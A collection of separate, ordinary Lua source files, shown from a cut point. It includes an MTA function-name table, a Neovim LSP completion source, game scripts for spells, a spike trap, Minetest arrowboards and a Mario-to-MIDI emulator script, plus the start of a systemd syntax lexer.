["addDebugHook"] = "",
["restoreAllWorldModels"] = "",
["guiRoot"] = "",
["setPedsLODDistance"] = "",
["fxAddDebris"] = "",
["engineResetModelLODDistance"] = "",
["setObjectProperty"] = "",
["dxSetTexturePixels"] = "",
["Vector4"] = "",
["getSoundSpeed"] = "",
["resetFarClipDistance"] = "",
["setWeaponClipAmmo"] = "",
["getVehicleController"] = "",
["fxAddBulletSplash"] = "",
["isVehicleNitroActivated"] = "",
["getScreenFromWorldPosition"] = "",
["getWeaponAmmo"] = "",
["getKeyboardLayout"] = "",
["resetWaterColor"] = "",
["getWeaponFiringRate"] = "",
["createBlip"] = "",
["setWeaponFiringRate"] = "",
["fireWeapon"] = "",
["getWeaponProperty"] = "",
["createWeapon"] = "",
["guiComboBoxGetItemText"] = "",
["dxGetStatus"] = "",
["getSlotFromWeapon"] = "",
["fileRename"] = "",
["fxAddBlood"] = "",
["getWeaponIDFromName"] = "",
["guiSetSelectedTab"] = "",
["rawset"] = "",
["engineGetModelPhysicalPropertiesGroup"] = "",
["getWaterVertexPosition"] = "",
["getWaterColor"] = "",
["setWaterDrawnLast"] = "",
["setWaterVertexPosition"] = "",
["setWaterLevel"] = "",
["setVehicleHandling"] = "",
["guiSetProperty"] = "",
["attachElements"] = "",
["setWaterColor"] = "",
["createWater"] = "",
["getColShapeRadius"] = "",
["guiComboBoxSetItemText"] = "",
["setCameraFieldOfView"] = "",
["setVehicleModelExhaustFumesPosition"] = "",
["attachTrailerToVehicle"] = "",
["addEvent"] = "",
["resetVehicleComponentScale"] = "",
["getVehicleHandling"] = "",
["resetVehicleComponentPosition"] = "",
["setVehicleSirens"] = "",
["getColShapeType"] = "",
["loadBrowserURL"] = "",
["setColShapeRadius"] = "",
["setVehicleTurretPosition"] = "",
["getCameraFieldOfView"] = "",
["setTrainSpeed"] = "",
["setTrainDirection"] = "",
["setHelicopterRotorSpeed"] = "",
["setVehicleAdjustableProperty"] = "",
["setVehicleFuelTankExplodable"] = "",
["guiCreateEdit"] = "",
["setRadarAreaFlashing"] = "",
["debug"] = "",
["guiGridListGetColumnTitle"] = "",
["setVehicleNitroActivated"] = "",
["getFunctionsBoundToKey"] = "",
["removeVehicleUpgrade"] = "",
["guiDeleteTab"] = "",
["getGroundPosition"] = "",
["setRadioChannel"] = "",
["getVehicleGravity"] = "",
["injectBrowserMouseUp"] = "",
["setElementMatrix"] = "",
["getBlurLevel"] = "",
["getWorldFromScreenPosition"] = "",
["setVehicleSirensOn"] = "",
["bitAnd"] = "",
["xmlFindChild"] = "",
["isRadarAreaFlashing"] = "",
["removeEventHandler"] = "",
["getVehicleDoorOpenRatio"] = "",
["createExplosion"] = "",
["getMarkerType"] = "",
["getPlayerName"] = "",
["createColSphere"] = "",
["setElementAngularVelocity"] = "",
["setBlipVisibleDistance"] = "",
["getBlipColor"] = "",
["guiGridListSetSelectedItem"] = "",
["isElementAttached"] = "",
["isObjectBreakable"] = "",
["isElementInWater"] = "",
["getElementMatrix"] = "",
["createVehicle"] = "",
["getSoundBPM"] = "",
["encodeString"] = "",
["getRadioChannelName"] = "",
["getVehicleModelExhaustFumesPosition"] = "",
["getBlipVisibleDistance"] = "",
["teaDecode"] = "",
["moveObject"] = "",
["getVehicleComponentVisible"] = "",
["getVehicleComponentRotation"] = "",
["resetWindVelocity"] = "",
["getPedWeaponMuzzlePosition"] = "",
["getEffectSpeed"] = "",
["isPedOnGround"] = "",
["getVehicleNitroLevel"] = "",
["guiGetInputMode"] = "",
["setBlurLevel"] = "",
["guiGridListGetColumnWidth"] = "",
["getWeaponClipAmmo"] = "",
["xmlFindChild"] = "",
["getPedSimplestTask"] = "",
["guiGetCursorType"] = "",
["isVehicleNitroRecharging"] = "",
["setSearchLightStartPosition"] = "",
["getCameraMatrix"] = "",
["setPedStat"] = "",
["deref"] = "",
["setAmbientSoundEnabled"] = "",
["getRealTime"] = "",
["getPedTask"] = "",
["setObjectMass"] = "",
["getVehicleCurrentGear"] = "",
["getBrowserURL"] = "",
["showChat"] = "",
["setSoundProperties"] = "",
["getSearchLightStartPosition"] = "",
["setMarkerType"] = "",
["resetSunSize"] = "",
["getPedOccupiedVehicle"] = "",
["isInsideRadarArea"] = "",
["getMarkerIcon"] = "",
["getVehicleDoorState"] = "",
["getPedSimplestTask"] = "",
["engineSetObjectGroupPhysicalProperty"] = "",
["getNetworkUsageData"] = "",
["getVehicleNameFromModel"] = "",
["getGarageSize"] = "",
["dxSetTestMode"] = "",
["math"] = "",
["setClipboard"] = "",
["guiBringToFront"] = "",
["getTrainSpeed"] = "",
["isTrainDerailable"] = "",
["isTrainDerailed"] = "",
["getVehicleEngineState"] = "",
["getHelicopterRotorSpeed"] = "",
["getRemoteRequests"] = "",
["getVehicleNameFromModel"] = "",
["setWorldSoundEnabled"] = "",
["navigateBrowserBack"] = "",
["getPlayerNametagColor"] = "",
["gcinfo"] = "",
["isVehicleFuelTankExplodable"] = "",
["getVehicleWheelStates"] = "",
["setPedHeadless"] = "",
["getLocalPlayer"] = "",
["guiMemoSetVerticalScrollPosition"] = "",
["guiBlur"] = "",
["getVehicleCompatibleUpgrades"] = "",
["engineSetModelPhysicalPropertiesGroup"] = "",
["pregReplace"] = "",
["guiGridListGetColumnCount"] = "",
["getPedOxygenLevel"] = "",
["getBodyPartName"] = "",
["getPlayerSerial"] = "",
["getFogDistance"] = "",
["navigateBrowserForward"] = "",
["getSoundFFTData"] = "",
["getGaragePosition"] = "",
["addEventHandler"] = "",
["utfCode"] = "",
["collectgarbage"] = "",
["isTimer"] = "",
["isVehicleLocked"] = "",
["toggleBrowserDevTools"] = "",
["getColPolygonPointPosition"] = "",
["dxDrawCircle"] = "",
["setLightDirection"] = "",
["guiLabelSetHorizontalAlign"] = "",
["createColCircle"] = "",
["removePedClothes"] = "",
["setBrowserProperty"] = "",
["getColorFromString"] = "",
["createElement"] = "",
["getSoundLength"] = "",
["getElementRotation"] = "",
["guiGetPosition"] = "",
["resetBlurLevel"] = "",
["getBrowserProperty"] = "",
["focusBrowser"] = "",
["resetFogDistance"] = "",
["countPlayersInTeam"] = "",
["getTeamFriendlyFire"] = "",
["setFogDistance"] = "",
["fadeCamera"] = "",
["gettok"] = "",
["setPedRotation"] = "",
["dxGetMaterialSize"] = "",
["debugSleep"] = "",
["createFire"] = "",
["setObjectBreakable"] = "",
["getEffectDensity"] = "",
["getPedAnimation"] = "",
["getElementByID"] = "",
["getDistanceBetweenPoints3D"] = "",
["getDistanceBetweenPoints2D"] = "",
["isChatBoxInputActive"] = "",
["setVehiclePaintjob"] = "",
["getSoundVolume"] = "",
["guiCreateTab"] = "",
["guiFocus"] = "",
["getElementData"] = "",
["engineSetModelLODDistance"] = "",
["utfSub"] = "",
["isPedDucked"] = "",
["guiMoveToBack"] = "",
["xmlNodeSetValue"] = "",
["injectBrowserMouseMove"] = "",
["setWeatherBlended"] = "",
["getPlayerFromName"] = "",
["xmlNodeGetAttributes"] = "",
["_G"] = "",
["setFarClipDistance"] = "",
["setElementData"] = "",
["cancelEvent"] = "",
["reloadBrowserPage"] = "",
["xmlDestroyNode"] = "",
["wasEventCancelled"] = "",
["getPedOccupiedVehicle"] = "",
["table"] = "",
["dxSetTextureEdge"] = "",
["setPickupType"] = "",
["fileSetPos"] = "",
["fileWrite"] = "",
["extinguishFire"] = "",
["fileRead"] = "",
["setElementCollisionsEnabled"] = "",
["guiGridListRemoveColumn"] = "",
["setPedControlState"] = "",
["removePedFromVehicle"] = "",
["dxDrawMaterialPrimitive"] = "",
["isWorldSpecialPropertyEnabled"] = "",
["engineGetModelLODDistance"] = "",
["getPedContactElement"] = "",
["fileCreate"] = "",
["type"] = "",
["setPedFightingStyle"] = "",
["setSunColor"] = "",
["guiGridListGetSelectedCount"] = "",
["triggerServerEvent"] = "",
["md5"] = "",
["getLocalization"] = "",
["isTrayNotificationEnabled"] = "",
["getKeyBoundToFunction"] = "",
["bitRRotate"] = "",
["setDebugViewActive"] = "",
["bitXor"] = "",
["getTimerDetails"] = "",
["bitTest"] = "",
["bitOr"] = "",
["setSearchLightStartRadius"] = "",
["dxCreateRenderTarget"] = "",
["isPedChoking"] = "",
["guiGetProperties"] = "",
["getSearchLightStartRadius"] = "",
["addColPolygonPoint"] = "",
["getVehiclePanelState"] = "",
["getResourceDynamicElementRoot"] = "",
["isElementCollidableWith"] = "",
["getAircraftMaxVelocity"] = "",
["getCameraInterior"] = "",
["getResourceName"] = "kaynakAdiAl",
["getResourceConfig"] = "",
["getCommandHandlers"] = "",
["resetVehiclesLODDistance"] = "",
["getPedWeaponSlot"] = "",
["guiWindowSetMovable"] = "",
["setBrowserVolume"] = "",
["guiCreateGridList"] = "",
["setPedWeaponSlot"] = "",
["getLightDirection"] = "",
["guiCreateButton"] = "",
["setPedCanBeKnockedOffBike"] = "",
["getmetatable"] = "",
["getWeaponNameFromID"] = "",
["isElementFrozen"] = "",
["setVehiclePanelState"] = "",
["getElementModel"] = "",
["isPedReloadingWeapon"] = "",
["bindKey"] = "",
["isPedDoingTask"] = "",
["setPedCanBeKnockedOffBike"] = "",
["xmlNodeGetParent"] = "",
["rawget"] = "",
["setSoundSpeed"] = "",
["getElementRadius"] = "",
["setObjectScale"] = "",
["setBrowserAjaxHandler"] = "",
["guiGridListSetHorizontalScrollPosition"] = "",
["isElementOnScreen"] = "",
["dxGetTextSize"] = "",
["isPedDead"] = "",
["bitLShift"] = "",
["dxGetPixelsSize"] = "",
["getVehicleTowingVehicle"] = "",
["setWorldSpecialPropertyEnabled"] = "",
["isPedFootBloodEnabled"] = "",
["abortRemoteRequest"] = "",
["xmlCreateChild"] = "",
["setElementAttachedOffsets"] = "",
["setPedOxygenLevel"] = "",
["setMarkerTarget"] = "",
["getPedRotation"] = "",
["setAircraftMaxVelocity"] = "",
["setSoundMinDistance"] = "",
["getVehiclePaintjob"] = "",
["setPedAnimationSpeed"] = "",
["guiScrollBarSetScrollPosition"] = "",
["setPedAnimationProgress"] = "",
["Vector2"] = "",
["createProjectile"] = "",
["getElementAttachedOffsets"] = "",
["getCameraGoggleEffect"] = "",
["isPedHeadless"] = "",
["setEffectDensity"] = "",
["cancelLatentEvent"] = "",
["getPedClothes"] = "",
["guiEditSetCaretIndex"] = "",
["getPedBonePosition"] = "",
["isBrowserDomainBlocked"] = "",
["isElementFrozen"] = "",
["getBrowserVolume"] = "",
["getElementID"] = "",
["getPedTargetCollision"] = "",
["getPedTargetStart"] = "",
["resetAmbientSounds"] = "",
["canPedBeKnockedOffBike"] = "",
["killPed"] = "",
["resourceRoot"] = "",
["toggleObjectRespawn"] = "",
["isTrainChainEngine"] = "",
["guiGridListInsertRowAfter"] = "",
["createSWATRope"] = "",
["getObjectMass"] = "",
["dxSetBlendMode"] = "",
["dxGetPixelColor"] = "",
["guiGridListSetSelectionMode"] = "",
["guiCreateComboBox"] = "",
["setElementRotation"] = "",
["guiEditGetMaxLength"] = "",
["getSoundWaveData"] = "",
["guiGetEnabled"] = "",
["guiScrollPaneGetHorizontalScrollPosition"] = "",
["guiGridListSetVerticalScrollPosition"] = "",
["getRootElement"] = "",
["guiStaticImageGetNativeSize"] = "",
["guiGridListGetItemData"] = "",
["dxDrawText"] = "",
["getInteriorFurnitureEnabled"] = "",
["guiGetInputEnabled"] = "",
["guiGridListAddColumn"] = "",
["guiCreateFont"] = "",
["getTimers"] = "",
["guiCreateStaticImage"] = "",
["isMainMenuActive"] = "",
["print"] = "yazdir",
["setCloudsEnabled"] = "",
["playSFX"] = "",
["getVehicleType"] = "",
["resetMoonSize"] = "",
["setInteriorFurnitureEnabled"] = "",
["dxGetFontHeight"] = "",
["getSoundEffects"] = "",
["getPedTarget"] = "",
["getPlayerUserName"] = "",
["isPedTargetingMarkerEnabled"] = "",
["isBrowserFocused"] = "",
["setSoundPaused"] = "",
["removeDebugHook"] = "",
["createTrayNotification"] = "",
["processLineOfSight"] = "",
["guiGridListGetSelectionMode"] = "",
["unbindKey"] = "",
["loadlib"] = "",
["getVehicleModelFromName"] = "",
["dxDrawMaterialPrimitive3D"] = "",
["getColPolygonPoints"] = "",
["getRemoteRequestInfo"] = "",
}
_G["client-functions"] = function() CLuaFunctions = client_functions; return true; end
|
local compe = require'compe'
local util = require'vim.lsp.util'
local Source = {}
function Source.new(client, filetype)
local self = setmetatable({}, { __index = Source })
self.client = client
self.filetype = filetype
return self
end
function Source.get_metadata(self)
return {
priority = 1000;
dup = 1;
menu = '[LSP]';
filetypes = { self.filetype };
}
end
--- determine
function Source.determine(self, context)
return compe.helper.determine(context, {
trigger_characters = self:_get_paths(self.client.server_capabilities, { 'completionProvider', 'triggerCharacters' }) or {};
})
end
--- complete
function Source.complete(self, args)
if vim.lsp.client_is_stopped(self.client.id) then
return args.abort()
end
local request = vim.lsp.util.make_position_params()
request.context = {}
request.context.triggerKind = (args.trigger_character_offset > 0 and 2 or (args.incomplete and 3 or 1))
if args.trigger_character_offset > 0 then
request.context.triggerCharacter = args.context.before_char
end
self.client.request('textDocument/completion', request, function(err, _, response)
if err then
return args.abort()
end
args.callback(compe.helper.convert_lsp({
keyword_pattern_offset = args.keyword_pattern_offset,
context = args.context,
request = request,
response = response,
}))
end)
end
--- resolve
function Source.resolve(self, args)
local completion_item = self:_get_paths(args, { 'completed_item', 'user_data', 'compe', 'completion_item' })
local has_resolve = self:_get_paths(self.client.server_capabilities, { 'completionProvider', 'resolveProvider' })
if has_resolve and completion_item then
self.client.request('completionItem/resolve', completion_item, function(err, _, result)
if not err and result then
args.completed_item.user_data.compe.completion_item = result
end
args.callback(args.completed_item)
end)
else
args.callback(args.completed_item)
end
end
--- confirm
function Source.confirm(self, args)
local completed_item = args.completed_item
local completion_item = self:_get_paths(completed_item, { 'user_data', 'compe', 'completion_item' })
local request_position = self:_get_paths(completed_item, { 'user_data', 'compe', 'request_position' })
if completion_item then
vim.call('compe#confirmation#lsp', {
completed_item = completed_item,
completion_item = completion_item,
request_position = request_position,
})
end
end
--- documentation
function Source.documentation(self, args)
local completion_item = self:_get_paths(args, { 'completed_item', 'user_data', 'compe', 'completion_item' })
if completion_item then
local document = self:_create_document(args.context.filetype, completion_item)
if #document > 0 then
args.callback(document)
else
args.abort()
end
end
end
--- _create_document
function Source._create_document(self, filetype, completion_item)
local document = {}
if completion_item.detail and completion_item.detail ~= '' then
table.insert(document, '```' .. filetype)
table.insert(document, completion_item.detail)
table.insert(document, '```')
end
if completion_item.documentation then
if completion_item.detail then
table.insert(document, ' ')
end
for _, line in ipairs(util.convert_input_to_markdown_lines(completion_item.documentation)) do
table.insert(document, line)
end
end
return document
end
--- _get_paths
function Source._get_paths(self, root, paths)
local c = root
for _, path in ipairs(paths) do
c = c[path]
if not c then
return nil
end
end
return c
end
return Source
|
local Concord = require("lib.concord")
local Class = require("lib.class")
local Vector = require("lib.vector")
local Camera = require("src.camera")
local SpellBase = require("src.classes.spells.spellBase")
local C = require("src.components")
local A = require("src.assemblages")
local SpellSwift = Class("SpellSwift", SpellBase)
function SpellSwift:initialize()
SpellBase.initialize(self, 0.8)
self.projectileSpeed = 300
end
function SpellSwift:cast(e, target, world)
SpellBase.cast(self, e, target, world)
local transform = e[C.transform]
local collider = e[C.collider]
if transform then
local delta = target - transform.position
local velocity = delta:normalized() * self.projectileSpeed
local position = transform.position:clone()
world:addEntity(Concord.entity()
:assemble(A.bullet, position, velocity, 70, collider.isFriendly)
)
end
end
return SpellSwift
|
--[[ spike_trap_ai.lua ]]
---------------------------------------------------------------------------
-- AI for the Spike Trap
---------------------------------------------------------------------------
local triggerActive = true
function Fire(trigger)
local triggerName = thisEntity:GetName()
--print(tostring(triggerName))
local level = trigger.activator:GetLevel()
local target = Entities:FindByName( nil, triggerName .. "_target" )
local spikes = triggerName .. "_model"
local dust = triggerName .. "_particle"
local fx = triggerName .. "_fx"
--print(spikes)
if target ~= nil and triggerActive == true then
local spikeTrap = thisEntity:FindAbilityByName("spike_trap")
thisEntity:CastAbilityOnPosition(target:GetOrigin(), spikeTrap, -1 )
EmitSoundOn( "Conquest.SpikeTrap.Plate" , spikeTrap)
DoEntFire( spikes, "SetAnimation", "spiketrap_activate", 0, self, self )
DoEntFire( dust, "Start", "", 0, self, self )
DoEntFire( dust, "Stop", "", 2, self, self )
DoEntFire( fx, "Start", "", 0, self, self )
DoEntFire( fx, "Stop", "", 2, self, self )
--thisEntity:SetContextThink( "ResetTrapModel", function() ResetTrapModel( spikes ) end, 3 )
triggerActive = false
thisEntity:SetContextThink( "ResetTrapModel", function() ResetTrapModel() end, 4 )
end
end
function ResetTrapModel()
--DoEntFire( spikes, "SetAnimation", "spiketrap_idle", 0, self, self )
triggerActive = true
end
|
local modes = {
{
name = "off",
desc = "Off",
texture = "arrowboards_bg.png^arrowboards_off.png",
},
{
name = "flashing_arrow_right",
desc = "Мигающ. стрел. вправо",
texture = {
name = "[combine:64x128:0,0=arrowboards_bg.png:0,0=arrowboards_off.png:0,64=arrowboards_bg.png:0,64=arrowboards_arrow3.png",
animation = {type = "vertical_frames", aspect_w = 64, aspect_h = 64, length = 1.5},
},
},
{
name = "flashing_arrow_left",
desc = "Мигающ. стрел. влево",
texture = {
name = "[combine:64x128:0,0=arrowboards_bg.png:0,0=arrowboards_off.png:0,64=arrowboards_bg.png:0,64=arrowboards_arrow3.png^[transformFX",
animation = {type = "vertical_frames", aspect_w = 64, aspect_h = 64, length = 1.5},
},
},
{
name = "flashing_arrow_dual",
desc = "Мигающ. двунаправ. стрел.",
texture = {
name = "[combine:64x128:0,0=arrowboards_bg.png:0,0=arrowboards_off.png:0,64=arrowboards_bg.png:0,64=arrowboards_dualarrow.png",
animation = {type = "vertical_frames", aspect_w = 64, aspect_h = 64, length = 1.5},
},
},
{
name = "seq_arrow_right",
desc = "Бегущ. стрел. вправо",
texture = {
name = "[combine:64x256:0,0=arrowboards_bg.png:0,0=arrowboards_off.png:0,64=arrowboards_bg.png:0,64=arrowboards_arrow1.png:0,128=arrowboards_bg.png:0,128=arrowboards_arrow2.png:0,192=arrowboards_bg.png:0,192=arrowboards_arrow3.png",
animation = {type = "vertical_frames", aspect_w = 64, aspect_h = 64, length = 3},
},
},
{
name = "seq_arrow_left",
desc = "Бегущ. стрел. влево",
texture = {
name = "[combine:64x256:0,0=arrowboards_bg.png:0,0=arrowboards_off.png:0,64=arrowboards_bg.png:0,64=arrowboards_arrow1.png:0,128=arrowboards_bg.png:0,128=arrowboards_arrow2.png:0,192=arrowboards_bg.png:0,192=arrowboards_arrow3.png^[transformFX",
animation = {type = "vertical_frames", aspect_w = 64, aspect_h = 64, length = 3},
},
},
{
name = "seq_chevron_right",
desc = "Бегущ. шеврон вправо",
texture = {
name = "[combine:64x256:0,0=arrowboards_bg.png:0,0=arrowboards_off.png:0,64=arrowboards_bg.png:0,64=arrowboards_chevron1.png:0,128=arrowboards_bg.png:0,128=arrowboards_chevron2.png:0,192=arrowboards_bg.png:0,192=arrowboards_chevron3.png",
animation = {type = "vertical_frames", aspect_w = 64, aspect_h = 64, length = 3},
},
},
{
name = "seq_chevron_left",
desc = "Бегущ. шеврон влево",
texture = {
name = "[combine:64x256:0,0=arrowboards_bg.png:0,0=arrowboards_off.png:0,64=arrowboards_bg.png:0,64=arrowboards_chevron1.png:0,128=arrowboards_bg.png:0,128=arrowboards_chevron2.png:0,192=arrowboards_bg.png:0,192=arrowboards_chevron3.png^[transformFX",
animation = {type = "vertical_frames", aspect_w = 64, aspect_h = 64, length = 3},
},
},
{
name = "flashing_caution_corners",
desc = "Мигающ. предупр. (4 угла)",
texture = {
name = "[combine:64x128:0,0=arrowboards_bg.png:0,0=arrowboards_off.png:0,64=arrowboards_bg.png:0,64=arrowboards_caution1.png",
animation = {type = "vertical_frames", aspect_w = 64, aspect_h = 64, length = 1.5},
},
},
{
name = "flashing_caution_line",
desc = "Мигающ. предупр. (линия)",
texture = {
name = "[combine:64x128:0,0=arrowboards_bg.png:0,0=arrowboards_off.png:0,64=arrowboards_bg.png:0,64=arrowboards_caution2.png",
animation = {type = "vertical_frames", aspect_w = 64, aspect_h = 64, length = 1.5},
},
},
{
name = "alternating_diamond_caution",
desc = "Семафор",
texture = {
name = "[combine:64x128:0,0=arrowboards_bg.png:0,0=arrowboards_caution3.png:0,64=arrowboards_bg.png:0,64=(arrowboards_caution3.png^[transformFX)",
animation = {type = "vertical_frames", aspect_w = 64, aspect_h = 64, length = 1.5},
},
},
}
for k,v in ipairs(modes) do
minetest.register_node("arrowboards:"..v.name,{
paramtype = "light",
paramtype2 = "facedir",
groups = {not_in_creative_inventory=1},
tiles = {"arrowboards_bg.png^[transformFY","arrowboards_bg.png","arrowboards_bg.png","arrowboards_bg.png","arrowboards_bg.png",v.texture},
drawtype = "nodebox",
light_source = 4,
node_box = {
type = "fixed",
fixed = {
{-0.5,-0.04,-0.5,0.5,0.5,-0.4}, --Display
{-0.4,-0.5,-0.5,-0.3,-0.04,-0.4}, --Left Pole
{0.4,-0.5,-0.5,0.3,-0.04,-0.4}, --Right Pole
},
},
selection_box = {
type = "fixed",
fixed = {
{0,0,0,0,0,0},
},
},
})
end
minetest.register_node("arrowboards:base",{
description = "Указатель",
paramtype = "light",
paramtype2 = "facedir",
groups = {dig_immediate=2},
tiles = {"arrowboards_base.png"},
inventory_image = "arrowboards_inv.png",
drawtype = "nodebox",
light_source = 4,
node_box = {
type = "fixed",
fixed = {
{-0.5,-0.5,-0.5,0.5,-0.25,0.5}, --Base
{-0.4,-0.25,-0.5,-0.3,0.5,-0.4}, --Left Pole
{0.4,-0.25,-0.5,0.3,0.5,-0.4}, --Right Pole
},
},
selection_box = {
type = "fixed",
fixed = {
{-0.5,-0.5,-0.5,0.5,-0.25,0.5}, --Base
{-0.5,-0.25,-0.5,0.5,1.5,-0.4}, -- The Rest
},
},
on_construct = function(pos)
local meta = minetest.get_meta(pos)
local fs = "size[4,1]dropdown[0,0;4;mode;"
for _,v in ipairs(modes) do
fs = fs..v.desc..","
end
fs = string.sub(fs,1,-2)
fs = fs..";1]"
meta:set_string("formspec",fs)
end,
on_receive_fields = function(pos,formname,fields,sender)
local name = sender:get_player_name()
if fields.quit or not fields.mode then return end
if minetest.is_protected(pos,name) and not minetest.check_player_privs(name,{protection_bypass=true}) then
minetest.record_protection_violation(pos,name)
return
end
for k,v in ipairs(modes) do
if fields.mode == v.desc then
local meta = minetest.get_meta(pos)
local fs = "size[4,1]dropdown[0,0;4;mode;"
for _,v in ipairs(modes) do
fs = fs..v.desc..","
end
fs = string.sub(fs,1,-2)
fs = fs..";"..k.."]"
meta:set_string("formspec",fs)
pos.y = pos.y + 1
local node = minetest.get_node(pos)
node.name = "arrowboards:"..v.name
minetest.set_node(pos,node)
end
end
end,
--Some of this might be "borrowed" from the LTC-4000E :P
after_place_node = function(pos,placer)
local node = minetest.get_node(pos)
local toppos = {x=pos.x,y=pos.y + 1,z=pos.z}
local topnode = minetest.get_node(toppos)
local placername = placer:get_player_name()
if topnode.name ~= "air" then
if placer:is_player() then
minetest.chat_send_player(placername,"Невозможно установить указатель - нет места для верхней половины!")
end
minetest.set_node(pos,{name="air"})
return true
end
if minetest.is_protected(toppos,placername) and not minetest.check_player_privs(placername,{protection_bypass=true}) then
if placer:is_player() then
minetest.chat_send_player(placername,"Невозможно установить указатель - верхняя половина защищена!")
minetest.record_protection_violation(toppos,placername)
end
minetest.set_node(pos,{name="air"})
return true
end
node.name = "arrowboards:off"
minetest.set_node(toppos,node)
end,
on_destruct = function(pos)
pos.y = pos.y + 1
if string.sub(minetest.get_node(pos).name,1,12) == "arrowboards:" then
minetest.set_node(pos,{name="air"})
end
end,
on_rotate = function(pos,node,user,mode,new_param2)
if not screwdriver then
return false
end
local ret = screwdriver.rotate_simple(pos,node,user,mode,new_param2)
minetest.after(0,function(pos)
local newnode = minetest.get_node(pos)
local param2 = newnode.param2
pos.y = pos.y + 1
local topnode = minetest.get_node(pos)
topnode.param2 = param2
minetest.set_node(pos,topnode)
end,pos)
return ret
end,
})
minetest.register_craft({
output = "arrowboards:base",
recipe = {
{"mesecons_lightstone:lightstone_yellow_off","mesecons_luacontroller:luacontroller0000","mesecons_lightstone:lightstone_yellow_off"},
{"mesecons_lightstone:lightstone_yellow_off","default:steel_ingot","mesecons_lightstone:lightstone_yellow_off"},
{"default:steel_ingot","default:steel_ingot","default:steel_ingot"},
},
})
|
--[[
Super Mario Brothers: vertical keyboard
Script for FCEUX + Emstrument
This script turns the game world into a keyboard that is activated when Mario lands
after jumping or falling.
The key that is played depends on the height of the platform Mario is on. The key
is lifted when Mario jumps or falls off of that platform. A keyboard is drawn on
the left of the screen for reference.
Tested with Super Mario Bros. (Japan, USA).nes
First published 12/2015 by Ben/Signal Narrative
Special thanks to http://datacrystal.romhacking.net/wiki/Super_Mario_Bros.:RAM_map
]]
require('emstrument');
MIDI.init();
-- The notes of a major scale. Modify next 2 values to change to a different scale
notes = {0, 2, 4, 5, 7, 9, 11};
notesinscale = 7;
lastfloating = 0;
drawnote = 0;
drawnotex = 0;
drawnoteon = 20;
while (true) do
-- The Y position of Mario, used to determine which note to play
y = memory.readbyte(0x00CE);
-- Mario's 'float' status. 0 if standing on ground, above 0 if in the air (for the most part)
floating = memory.readbyte(0x001D);
if (floating ~= 0) then
MIDI.allnotesoff();
drawnoteon = 0;
end;
-- Trigger a note if Mario was in the air last frame, but now he's on the ground
if ((floating ~= lastfloating) and (floating == 0)) then
-- Use math.floor to make sure all values are integers
note = math.floor((176 - y)/16);
octave = math.floor(note / notesinscale);
MIDI.noteon(MIDI.notenumber("C3") + 12*octave + notes[(note%7) + 1], 100);
-- Store which note we just played so we can draw it on the keyboard on the left side of the screen
drawnote = math.floor(y/16) + 1;
drawnoteon = 1;
end;
-- Draw the keyboard on the left
gui.drawbox(0, 8, 12, 256, "white"); -- White background
for i=1,16 do
-- For each boundary between keys, draw a thin line.
gui.drawline(0, 16*i + 8, 12, 16*i + 8, "black");
-- For every boundary with a black key between 2 white keys, draw a small (nonfunctional) black key
if ((i%7 == 4) or (i%7 == 5) or (i%7 == 0) or (i%7 == 1) or (i%7 == 2)) then
gui.drawrect(0, 16*i + 6, 8, 16*i + 10, "black");
end;
end;
-- Draw the note if it's still playing
if (drawnoteon > 0) then
gui.drawbox(0, 16*drawnote + 12, 12, 16*drawnote + 20, "black");
-- Draw a line from the note to Mario
drawnotex = memory.readbyte(0x03AD); -- Mario's x position within current screen offset
gui.drawbox(12, 16*drawnote + 16, drawnotex + 8, 16*drawnote + 17, "red");
end;
-- Store the last value of 'floating' for comparison later on, send midi messages
lastfloating = floating;
MIDI.sendmessages();
FCEU.frameadvance();
end;
|
-- Copyright 2016 Christian Hesse
-- systemd unit file LPeg lexer.
local l = require('lexer')
local token, word_match = l.token, l.word_match
local P, R, S = lpeg.P, lpeg.R, lpeg.S
local M = {_NAME = 'systemd'}
-- Whitespace.
local ws = token(l.WHITESPACE, l.space^1)
-- Comments.
local comment = token(l.COMMENT, l.starts_line(S(';#')) * l.nonnewline^0)
-- Strings.
local sq_str = l.delimited_range("'")
local dq_str = l.delimited_range('"')
local section_word = word_match{
'Automount',
'BusName',
'Install',
'Mount',
'Path',
'Service',
'Service',
'Socket',
'Timer',
'Unit'
}
local string = token(l.STRING, sq_str + dq_str + '[' * section_word * ']')
-- Numbers.
local dec = l.digit^1 * ('_' * l.digit^1)^0
local oct_num = '0' * S('01234567_')^1
local integer = S('+-')^-1 * (l.hex_num + oct_num + dec)
local number = token(l.NUMBER, (l.float + integer))
-- Keywords.
local keyword = token(l.KEYWORD, word_match({
-- boolean values
'true',
'false',
'on',
'off',
'yes',
'no',
-- service types
'forking',
'simple',
'oneshot',
'dbus',
'notify',
'idle',
-- special system units
'basic.target',
'ctrl-alt-del.target',
'cryptsetup.target',
'dbus.service',
'dbus.socket',
'default.target',
'display-manager.service',
'emergency.target',
'exit.target',
'final.target',
'getty.target',
'graphical.target',
'hibernate.target',
'hybrid-sleep.target',
'halt.target',
'initrd-fs.target',
'kbrequest.target',
'kexec.target',
'local-fs.target',
'multi-user.target',
'network-online.target',
'paths.target',
'poweroff.target',
'reboot.target',
'remote-fs.target',
'rescue.target',
'initrd-root-fs.target',
'runlevel2.target',
'runlevel3.target',
'runlevel4.target',
'runlevel5.target',
'shutdown.target',
'sigpwr.target',
'sleep.target',
'slices.target',
'sockets.target',
'suspend.target',
'swap.target',
'sysinit.target',
'syslog.socket',
'system-update.target',
'timers.target',
'umount.target',
-- special system units for devices
'bluetooth.target',
'printer.target',
'smartcard.target',
'sound.target',
-- special passive system units
'cryptsetup-pre.target',
'local-fs-pre.target',
'network.target',
'network-pre.target',
'nss-lookup.target',
'nss-user-lookup.target',
'remote-fs-pre.target',
'rpcbind.target',
'time-sync.target',
-- specail slice units
'-.slice',
'system.slice',
'user.slice',
'machine.slice',
-- environment variables
'PATH',
'LANG',
'USER',
'LOGNAME',
'HOME',
'SHELL',
'XDG_RUNTIME_DIR',
'XDG_SESSION_ID',
'XDG_SEAT',
'XDG_VTNR',
'MAINPID',
'MANAGERPID',
'LISTEN_FDS',
'LISTEN_PID',
'LISTEN_FDNAMES',
'NOTIFY_SOCKET',
'WATCHDOG_PID',
'WATCHDOG_USEC',
'TERM'
}, '.-'))
-- Options.
local option_word = word_match{
-- unit section options
'Description',
'Documentation',
'Requires',
'Requisite',
'Wants',
'BindsTo',
'PartOf',
'Conflicts',
'Before',
'After',
'OnFailure',
'PropagatesReloadTo',
'ReloadPropagatedFrom',
'JoinsNamespaceOf',
'RequiresMountsFor',
'OnFailureJobMode',
'IgnoreOnIsolate',
'StopWhenUnneeded',
'RefuseManualStart',
'RefuseManualStop',
'AllowIsolate',
'DefaultDependencies',
'JobTimeoutSec',
